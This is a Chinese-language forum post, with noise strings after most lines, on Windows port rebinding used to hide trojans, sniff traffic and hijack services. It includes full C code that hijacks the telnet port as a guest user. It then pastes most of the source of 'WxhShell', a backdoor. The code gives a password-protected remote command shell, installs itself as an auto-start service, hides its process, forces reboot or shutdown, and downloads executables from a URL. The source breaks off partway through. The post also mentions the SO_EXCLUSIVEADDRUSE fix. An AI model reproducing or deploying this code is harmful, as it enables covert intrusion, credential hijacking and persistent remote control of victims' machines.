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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: M+;P?|a  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); @GQ8q]N:<  
!?o$-+a|  
  saddr.sin_family = AF_INET; VS|( "**  
X@qk>/  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 7sc<dM  
R pI<]1  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ncattp   
s)YP%vn#  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 zLQ#GF  
RO{@RhnV  
  这意味着什么?意味着可以进行如下的攻击: iv:/g|MBI&  
a4( ?]ND~6  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 rS )b1nPA  
xs'kO=  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) O R<"LTCL  
4su_;+]  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 s`=/fvf.  
'B (eMnLg  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  LuP?$~z  
t {SMSp  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Y^6[[vaj2  
hyb +#R  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Q"|kW[Sg  
$iqi:vY  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 %gu$_S  
) p<fL  
  #include P$18Xno{  
  #include 3`k[!!   
  #include :vK(LU0K  
  #include    NdsX*o@a  
  DWORD WINAPI ClientThread(LPVOID lpParam);   =r@gJw:B  
  int main() vZE|Z[M+<  
  { *i?rJH  
  WORD wVersionRequested; |vfujzRZ  
  DWORD ret; px _s@>l`  
  WSADATA wsaData; ~J1;tZS  
  BOOL val; Kr/h`RM  
  SOCKADDR_IN saddr; N(:nF5>_  
  SOCKADDR_IN scaddr; mT6q}``vtG  
  int err; /e|[SITe  
  SOCKET s; Jf?S9r5Q  
  SOCKET sc; Er"R;l]xJ  
  int caddsize; K)/!&{7n}a  
  HANDLE mt; %e Sm&`  
  DWORD tid;   lMBX!9z  
  wVersionRequested = MAKEWORD( 2, 2 ); \ I^nx+l  
  err = WSAStartup( wVersionRequested, &wsaData ); -4e) N*VVu  
  if ( err != 0 ) { 9K;k%  
  printf("error!WSAStartup failed!\n"); 1Sg|3T8bGT  
  return -1; f4'El2>-86  
  } {jOzap|  
  saddr.sin_family = AF_INET; T+;H#&  
   K[uY+!'1  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 -".kH<SWv  
mA(nyF  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); LAv:+o(m/  
  saddr.sin_port = htons(23); dU oWo3r=  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) E+}GxFG-:  
  { ;GE26Ymqly  
  printf("error!socket failed!\n"); &@YFje6Lcm  
  return -1; n .f4z<  
  } <rX \LwR  
  val = TRUE; =6cyE  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 *$i;o3  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 6| *(dE2x(  
  { d"B@c;dD  
  printf("error!setsockopt failed!\n"); J}Qs"+x  
  return -1; ]8$#qDS@  
  } ]By0Xifew  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; |*^8~u3J"  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 `]`=]*d  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 17>5#JLP  
| }K  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) E?Zb~xk  
  { I %|@3=Yc  
  ret=GetLastError(); 0A#*4ap  
  printf("error!bind failed!\n"); & u$(NbK  
  return -1; U~uwm/h  
  } 6FL?4>MZ  
  listen(s,2); 5vD3K! \u  
  while(1) {y,nFxLq  
  { q&zny2])  
  caddsize = sizeof(scaddr); J>`v.8y  
  //接受连接请求 WD15pq l  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); iH-bo@  
  if(sc!=INVALID_SOCKET) o]Z _@VI  
  { Hf VHI1f  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); t< sp%zXZ  
  if(mt==NULL) w&p~0cA~  
  { _*s~`jn{H  
  printf("Thread Creat Failed!\n"); NWEhAj<w  
  break; UT3bd,,  
  } +J|+es  
  } i[$-_  
  CloseHandle(mt); ]SFWt/<  
  } pw@`}cM=  
  closesocket(s); ]\A1mw-T  
  WSACleanup(); i=oTg  
  return 0; _ XE;-weE  
  }   ,H>W:O  
  DWORD WINAPI ClientThread(LPVOID lpParam) XZ.7c{B<  
  { O\6vVM[  
  SOCKET ss = (SOCKET)lpParam; B!eK!B  
  SOCKET sc; h`=r )D  
  unsigned char buf[4096]; oZgHSRRL  
  SOCKADDR_IN saddr; ?4^} ;wDb2  
  long num; ,09DBxQq,  
  DWORD val; 'gCJ[ce  
  DWORD ret; l+%Fl=Q2em  
  //如果是隐藏端口应用的话,可以在此处加一些判断 4~!Eje!  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   >Q; g0\I_  
  saddr.sin_family = AF_INET; O?CdAnhQc`  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); :^ n*V6.4  
  saddr.sin_port = htons(23); YWEYHr;%^?  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) lM>.@:  
  { :-z&Y492  
  printf("error!socket failed!\n"); rwy+~  
  return -1; H4t)+(:D'  
  } Zr=ib  
  val = 100; d$pYo)8o({  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ^f9>l;Lb  
  { 8qn 9|  
  ret = GetLastError(); OY:u',T  
  return -1; Us'Cs+5XcG  
  } 4S tjj!ew  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) iHPUmTus--  
  { Z a! gbt  
  ret = GetLastError(); 13H;p[$  
  return -1; <PX.l%  
  } z<!O!wX_aI  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) E Zi&]  
  { G~"z_ (  
  printf("error!socket connect failed!\n"); j1/+\8Y  
  closesocket(sc); Oukd_Ryf   
  closesocket(ss); :$Q`>k7A  
  return -1; 1Pm4.C)  
  } 0Z"s_r}h  
  while(1) jgG$'|s}  
  { u^t$ cLIZ  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 /hL\,x 2  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 g0PT8]8  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Xx_tpC?  
  num = recv(ss,buf,4096,0); Qlw>+y-i  
  if(num>0) qe<Hfp/p  
  send(sc,buf,num,0); "Ht'{&  
  else if(num==0) ioxbf6{  
  break; 3A_G=WaED  
  num = recv(sc,buf,4096,0); \^jjK,OK  
  if(num>0) ?-f,8Z|h  
  send(ss,buf,num,0); /,!<Va;~  
  else if(num==0) * r;xw  
  break; Vz{>cSz#  
  } GF*>~_Yr  
  closesocket(ss); @o6R[5(  
  closesocket(sc); p}uncIod  
  return 0 ; pr_>b`p6  
  } 28a$NP\KW  
sf$o(^P9\A  
>TY6O.]  
========================================================== R::zuv  
\8e2?(@"k  
下边附上一个代码,,WXhSHELL L_~8"I_  
+1QK}H ~  
========================================================== ;r.EC}>m  
+"dv7  
#include "stdafx.h" KFU%DU G  
V,Q4n%h1.  
#include <stdio.h> 6kN:*  
#include <string.h> O#)jr-vXdV  
#include <windows.h> 49AW6H.JT  
#include <winsock2.h> X3',vey  
#include <winsvc.h> k[ %aCGo  
#include <urlmon.h> 3@_Elu  
zyFUl%  
#pragma comment (lib, "Ws2_32.lib") L0L2Ns  
#pragma comment (lib, "urlmon.lib") M/pMs 6  
0mTr-`s  
#define MAX_USER   100 // 最大客户端连接数 xR?V,uV'$&  
#define BUF_SOCK   200 // sock buffer ]n;1x1'  
#define KEY_BUFF   255 // 输入 buffer &l m#  
)"| ||\Iv  
#define REBOOT     0   // 重启 2 o4^  
#define SHUTDOWN   1   // 关机 "u492^  
uH:YKH':/  
#define DEF_PORT   5000 // 监听端口 V%*b@zv  
x6W `hpL  
#define REG_LEN     16   // 注册表键长度 ~E)fpGJ  
#define SVC_LEN     80   // NT服务名长度 9%tobo@J~n  
F'FP0t!S  
// 从dll定义API O6X"RsI}  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); B $XwTJ>  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); wMWW=$h#\  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); d|lpec  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); T.ML$"f  
.X'pq5  
// wxhshell配置信息 A%X X5*  
struct WSCFG { rS7)6h7(7  
  int ws_port;         // 监听端口 /<{:I \<  
  char ws_passstr[REG_LEN]; // 口令 Dd,2;#_  
  int ws_autoins;       // 安装标记, 1=yes 0=no dg_Gs>?2  
  char ws_regname[REG_LEN]; // 注册表键名 ac8P\2{"  
  char ws_svcname[REG_LEN]; // 服务名 A6 !F@Ic[  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 A&"%os  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 H C0w;MG)  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ?6"{!s{v  
int ws_downexe;       // 下载执行标记, 1=yes 0=no %\Wf^6Y^  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" >/=> B7  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ]rN#B-aAr  
!5Sd2<N  
}; y >+mc7n  
?!'Zf Q:zK  
// default Wxhshell configuration ;+/o?:AH  
struct WSCFG wscfg={DEF_PORT, Nd@~>&F  
    "xuhuanlingzhe", M{mSd2  
    1, 4a''Mi`u  
    "Wxhshell", :J/M,3  
    "Wxhshell", NxA)@9Q  
            "WxhShell Service", =0    
    "Wrsky Windows CmdShell Service", ~ G6"3"  
    "Please Input Your Password: ", .i Hn5SGA  
  1, +&i +Mpb  
  "http://www.wrsky.com/wxhshell.exe", j Ux z  
  "Wxhshell.exe" +>\id~c(  
    }; MTOy8 Im  
eE@&ze>X  
// 消息定义模块 }4//@J?:  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; g(|{')8?d  
char *msg_ws_prompt="\n\r? for help\n\r#>"; AUe# RP  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ~1L:_Sg*  
char *msg_ws_ext="\n\rExit."; n, i'Dhzk  
char *msg_ws_end="\n\rQuit."; N?P%-/7  
char *msg_ws_boot="\n\rReboot..."; /i]y$^  
char *msg_ws_poff="\n\rShutdown..."; ,9D+brm  
char *msg_ws_down="\n\rSave to "; Qf$|_&|  
x@Hd^xH`  
char *msg_ws_err="\n\rErr!"; cC'x6\a  
char *msg_ws_ok="\n\rOK!"; &#yR;{  
r^,<(pbd  
char ExeFile[MAX_PATH]; x[ 3A+  
int nUser = 0; T0zn,ej  
HANDLE handles[MAX_USER]; \S~Vx!9w  
int OsIsNt; .iD*>M:W  
!\Xm!I8  
SERVICE_STATUS       serviceStatus; "Wo,'8{v  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; NnT g3:.  
9f+>ix,ek*  
// 函数声明 C3NdE_E  
int Install(void); /X'(3'a  
int Uninstall(void); [`RX*OH2  
int DownloadFile(char *sURL, SOCKET wsh); \QE)m<GUe  
int Boot(int flag); ^= 0m-/  
void HideProc(void); kOo~%kcQ'  
int GetOsVer(void); `;l.MZL!  
int Wxhshell(SOCKET wsl); @&|l^ 1  
void TalkWithClient(void *cs); *+)AqKP\Kv  
int CmdShell(SOCKET sock); 3&&9_`r&_  
int StartFromService(void); d;mx<i=/  
int StartWxhshell(LPSTR lpCmdLine); )lk&z8;.=  
0 &_UH}10  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Vv1|51B  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); YH&bD16c3  
Xce0~\_ A  
// 数据结构和表定义 ' Z0r>.  
SERVICE_TABLE_ENTRY DispatchTable[] = jw<pK4?y  
{ 5NoI~X=  
{wscfg.ws_svcname, NTServiceMain}, /zDi9W*~1  
{NULL, NULL} }v:jncp  
}; w }^ I  
?`zXLY9q7  
// 自我安装 r$Co0!.  
int Install(void) n_ lo`  
{ &e-U5'(6v_  
  char svExeFile[MAX_PATH]; B33$pUk  
  HKEY key; 4lhw3,5  
  strcpy(svExeFile,ExeFile); : G\<y  
I$N8tn+E  
// 如果是win9x系统,修改注册表设为自启动 b2b?hA'k  
if(!OsIsNt) { <Rh6r}f  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { r}[7x]sP  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Mi'8 ~J  
  RegCloseKey(key); 26T"XW'_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 8#!i[UF dj  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 5%sE] Y#  
  RegCloseKey(key); 2MZCw^s>  
  return 0; {:@tQdM:i8  
    } w2_bd7Wp<  
  } b)(?qfXWP  
} >h0-;  
else { M9zfT !-  
>D201&*G%  
// 如果是NT以上系统,安装为系统服务 L|bwZ,M=}?  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); q[`j`8YY!R  
if (schSCManager!=0) g~(E>6Y  
{ 2^8%>,  
  SC_HANDLE schService = CreateService -'~ LjA(  
  ( <! )**  
  schSCManager, S26MDLk`R3  
  wscfg.ws_svcname, ~/.7l8)  
  wscfg.ws_svcdisp, $!&*xrrNM  
  SERVICE_ALL_ACCESS, aaD;jxT&M|  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , UG=K|OXWJ  
  SERVICE_AUTO_START, "Ph^BU Ab  
  SERVICE_ERROR_NORMAL, Sb~MQ_  
  svExeFile, #>Zzf  
  NULL, ;2B{9{  
  NULL, [JF150zr  
  NULL, g=I8@m  
  NULL, )iFJz/n>  
  NULL /cU<hApK  
  ); o=0]el^A  
  if (schService!=0) =s<( P1|"  
  { HRB<Y mP@  
  CloseServiceHandle(schService); yX~v-N!X  
  CloseServiceHandle(schSCManager); s%<eD  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); [l,Ei?  
  strcat(svExeFile,wscfg.ws_svcname); \7CGUB>L  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ai0XL}!+  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); &x3VCsC\|  
  RegCloseKey(key); c y8;@[#9  
  return 0; lRXK\xIP ,  
    } 8By|@LO  
  } eq U ME  
  CloseServiceHandle(schSCManager); Ol!ntNhXm  
} _%QhOY5tv"  
} nqLA}u4IM  
}iuWAFZbGS  
return 1; j_Yp>=+[  
} BCA&mi3q  
fkac_X$7  
// 自我卸载 R?]02Q  
int Uninstall(void) `]%|f  
{ 8 @tV9+u  
  HKEY key; kh`"WN Nt  
6i}iAP|0  
if(!OsIsNt) { s_mS^`P7  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { yj\Nkh  
  RegDeleteValue(key,wscfg.ws_regname); P-9<YN  
  RegCloseKey(key); %$b:X5$Z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { z*-2.}&U<  
  RegDeleteValue(key,wscfg.ws_regname); %f]:I  
  RegCloseKey(key); <_7*67{  
  return 0; P'_H/r/#  
  } rW=Z>1  
} AJ=qna  
} EVGt 5z  
else { +llR204  
A,a.8!*}vd  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); S_Wrw z  
if (schSCManager!=0) , N)/w1?I  
{ :5{wf Am  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 4T ~}  
  if (schService!=0) [EKQR>s)  
  { RN e^; B  
  if(DeleteService(schService)!=0) { P}4QQw  
  CloseServiceHandle(schService); .4E&/w+  
  CloseServiceHandle(schSCManager); .nVa[B |.  
  return 0; nR-YrR*k  
  } -X"p:=;j  
  CloseServiceHandle(schService); }R{ts  
  } \pVXimam  
  CloseServiceHandle(schSCManager); aJ>65RJ^=  
} lz?$f4TzA  
} \RG8{G,  
 bJX)$G  
return 1; N(Tz%o4  
} @"^0%/2-  
hbY5l}\5  
// 从指定url下载文件 N'GeHByIT  
int DownloadFile(char *sURL, SOCKET wsh) |E JD3 &  
{ :s7m4!EF  
  HRESULT hr; \hx1o\  
char seps[]= "/"; &__es{;P  
char *token; r/u A.Aou^  
char *file; xjKR R?  
char myURL[MAX_PATH]; G U( _  
char myFILE[MAX_PATH]; `)_dS&_\  
r2,.abo  
strcpy(myURL,sURL); TOB]IrW  
  token=strtok(myURL,seps); {A05u3}  
  while(token!=NULL) 'ZDp5pCC;  
  { oY933i@l)P  
    file=token; v]B3m  
  token=strtok(NULL,seps); 75XJL;W #  
  } kH G"XTL  
Q$zO83  
GetCurrentDirectory(MAX_PATH,myFILE); &B6Ep6QS  
strcat(myFILE, "\\"); f,018]|  
strcat(myFILE, file); X\bOz[\  
  send(wsh,myFILE,strlen(myFILE),0); *GL/aEI<$  
send(wsh,"...",3,0); ~T1 XLu  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); M`,)wi  
  if(hr==S_OK) OC BgR4I  
return 0; JzQ)jdvp  
else uM_wjP  
return 1; @`q:IIgW  
h4 T5+~rw  
} lPw%ErG  
wAf\|{Vn  
// 系统电源模块 qVH1}9_  
int Boot(int flag) .\)U@L~  
{ &m-PC(W+  
  HANDLE hToken; [OC5l>  
  TOKEN_PRIVILEGES tkp; E2R&[Q"%  
6ZP(E^.  
  if(OsIsNt) { LG9+y  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); l1BtI_7p  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);  W\d{a(*  
    tkp.PrivilegeCount = 1; =T HpdtL  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; fSK]|"c  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ,(EO'T[  
if(flag==REBOOT) { `p2+&&]S  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Rh_np  
  return 0; O$_)G\\\m  
} ]>=}*=  
else { /|C*  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) S4Y&  
  return 0; l]Ax:Z  
} }fb#G<3  
  } +BETF;0D  
  else { TQpfQ  
if(flag==REBOOT) { dfKF%27  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ,!#*GZ.ix  
  return 0; C~2F9Pg  
} haK3?A,"_A  
else { gG<~-8uQ  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) M2OIBH4!  
  return 0; _>(^tCo  
} <>y;.@}Q  
} itBwCIjG  
-GhP9; d  
return 1; [q?<Qe  
} ,|y:" s  
WrQDX3  
// win9x进程隐藏模块 B +\3-q  
void HideProc(void)  D~S<U  
{ ^o3"#r{:+  
Ve}(s?hU5  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); GpY"f c%  
  if ( hKernel != NULL ) w$zu~/qV2  
  { m$}R%  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); \2N!:%k  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 8 OY3A  
    FreeLibrary(hKernel); ]zE;Tw.S  
  } [^Os kJ4  
*W,]>v0%T  
return; .}t~'*D  
} ]O+Ma}dxz:  
uki#/GzaO  
// 获取操作系统版本 +ga k#M"n\  
int GetOsVer(void) HHDl8lo  
{ vQosPS_2L  
  OSVERSIONINFO winfo; \?[v{WP)  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); LClNxm2X  
  GetVersionEx(&winfo); cv998*|X:  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Ktb\ bw  
  return 1; >`Y.+4 mE  
  else JjPKR?[>  
  return 0; PF)jdcX  
} K1mPr^3rC  
*"?l]d  
// 客户端句柄模块 K28+]qy[  
int Wxhshell(SOCKET wsl) K2M~-S3  
{ qLn/2  
  SOCKET wsh; +T|JK7  
  struct sockaddr_in client; [ey:e6,T9  
  DWORD myID; ZZ2vvtlyG  
`Nz/O h7  
  while(nUser<MAX_USER) 4r>6G/b8*  
{ Dv|#u|iw  
  int nSize=sizeof(client); G`SUxhCk  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Sj]T   
  if(wsh==INVALID_SOCKET) return 1; _ "?.!  
%<k2#6K  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Gw>^[dmt!  
if(handles[nUser]==0) FQu8 vwV6>  
  closesocket(wsh); )Xk0VDNp$/  
else 7C,&*Ax,9  
  nUser++; O@u?h9?cf>  
  } Yw4n-0g  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); $7O}S.x  
t[ubn+  
  return 0; tNO-e|~'  
} HJLu'KY }  
M2PAy! J  
// 关闭 socket Aw}"gpL  
void CloseIt(SOCKET wsh)  CJ1 7n  
{ f sJ9bQm/  
closesocket(wsh); QQ%D8$k"  
nUser--; ]RPs|R?  
ExitThread(0); ;YA(|h<  
} |SoCRjuCPM  
}YB*]<]  
// 客户端请求句柄 :o|\"3  
void TalkWithClient(void *cs) \w/yF4,3<w  
{ `IP/d  
+ln9c  
  SOCKET wsh=(SOCKET)cs; +]*zlE\N`  
  char pwd[SVC_LEN]; ozmrw\_}[  
  char cmd[KEY_BUFF]; UJD 0K]s  
char chr[1]; [$qyF|/K`n  
int i,j; v25R_""~  
4" Cb/y3  
  while (nUser < MAX_USER) { ;nep5!s;<  
"fG8?)d;  
if(wscfg.ws_passstr) { n!YKz"$  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); hBS.a6u1'd  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); f%SZg!+t  
  //ZeroMemory(pwd,KEY_BUFF); [b 6R%  
      i=0; 1pt%Kw*@j  
  while(i<SVC_LEN) { _wTOmz%|R  
sPr~=,F  
  // 设置超时 C<NLE-  
  fd_set FdRead; o C<.=2]  
  struct timeval TimeOut; g<l1zo`_  
  FD_ZERO(&FdRead); JSkLEa~<  
  FD_SET(wsh,&FdRead); K~c=M",mW  
  TimeOut.tv_sec=8;  O{QA  
  TimeOut.tv_usec=0; }=%oX}[  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Wr<j!>J6Ki  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); G/b^|;41  
wG~`[>y (  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); k9k XyX[  
  pwd=chr[0]; p2ogn}`  
  if(chr[0]==0xd || chr[0]==0xa) { LCZ\4g05  
  pwd=0; &|Bc7+/P  
  break; _y),J'W^3u  
  } wb]%m1H`:  
  i++; Cbg!:Cws  
    } 48:>NW  
+ fC=UAZ  
  // 如果是非法用户,关闭 socket @LS@cCC,a  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); /RNIIY~w  
} kW *f.!  
tQ8.f  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 695V3R 7  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); v'U{/ ,x  
% 5m/  
while(1) { qAAX;N  
z>XrU>}  
  ZeroMemory(cmd,KEY_BUFF); =T -&j60  
xAK6pDp  
      // 自动支持客户端 telnet标准   lt ^GvWg  
  j=0; FoNSM$x  
  while(j<KEY_BUFF) { 2/?`J  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); mR&H9 NG  
  cmd[j]=chr[0]; *C5R}9O5  
  if(chr[0]==0xa || chr[0]==0xd) { ;1:Js0=;H  
  cmd[j]=0; <D:.(AUeO  
  break; q|j2MV5#g  
  } (a[y1{DLy  
  j++; {1IfU  
    } ZX>AE3wk  
S4'   
  // 下载文件 T;L>;E>B  
  if(strstr(cmd,"http://")) { !zkZQ2{Wn  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); u -;_y='m  
  if(DownloadFile(cmd,wsh)) eIz<)-7:  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); :ctu5{"UJ  
  else _oHNkKQ  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Yn@lr6s  
  } :K-~fA%kt?  
  else {  Q?nN!e T  
U* i{5/$  
    switch(cmd[0]) { ;*Ivn@L  
  ~tBYIkvWT  
  // 帮助 {l>yi  
  case '?': { B.dH(um  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); .ni_p 6!  
    break; 4(|cG7>9-  
  } ba[1wFmcL  
  // 安装 5 MN8D COF  
  case 'i': { +?:7O=Y  
    if(Install()) z`!XhU  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); e4!:c^?  
    else X'd9[).  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $ {O#  
    break; %+j8["VEC  
    } LW[9  
  // 卸载 m;'6MHx;  
  case 'r': { PK{acen  
    if(Uninstall()) X;i~ <Tq  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {)BTR%t  
    else gu0j.XS^  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \9cG36  
    break; 6G #}Q/  
    } [Jogt#Fj ]  
  // 显示 wxhshell 所在路径 0 vtt"f)Y[  
  case 'p': { pm_`>3  
    char svExeFile[MAX_PATH]; ;5zz<;Zy  
    strcpy(svExeFile,"\n\r"); x c/}#>ED  
      strcat(svExeFile,ExeFile); *VFf.aPwYi  
        send(wsh,svExeFile,strlen(svExeFile),0); g+pml*LJ  
    break; K? y[V1,  
    } x[$z({Yf  
  // 重启 fQi4\m  
  case 'b': { 4x  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ~R22?g.  
    if(Boot(REBOOT)) JT-J#Ag  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }|g\ 8jq  
    else { *:Vq:IU[D  
    closesocket(wsh); Yzh"1|O  
    ExitThread(0); 0\[Chja  
    } E^.nc~  
    break; ^Pbk#|$rU  
    } Nd$W0YN:  
  // 关机 U%<koD[,  
  case 'd': { d/[; `ZD+  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); @6wFst\t  
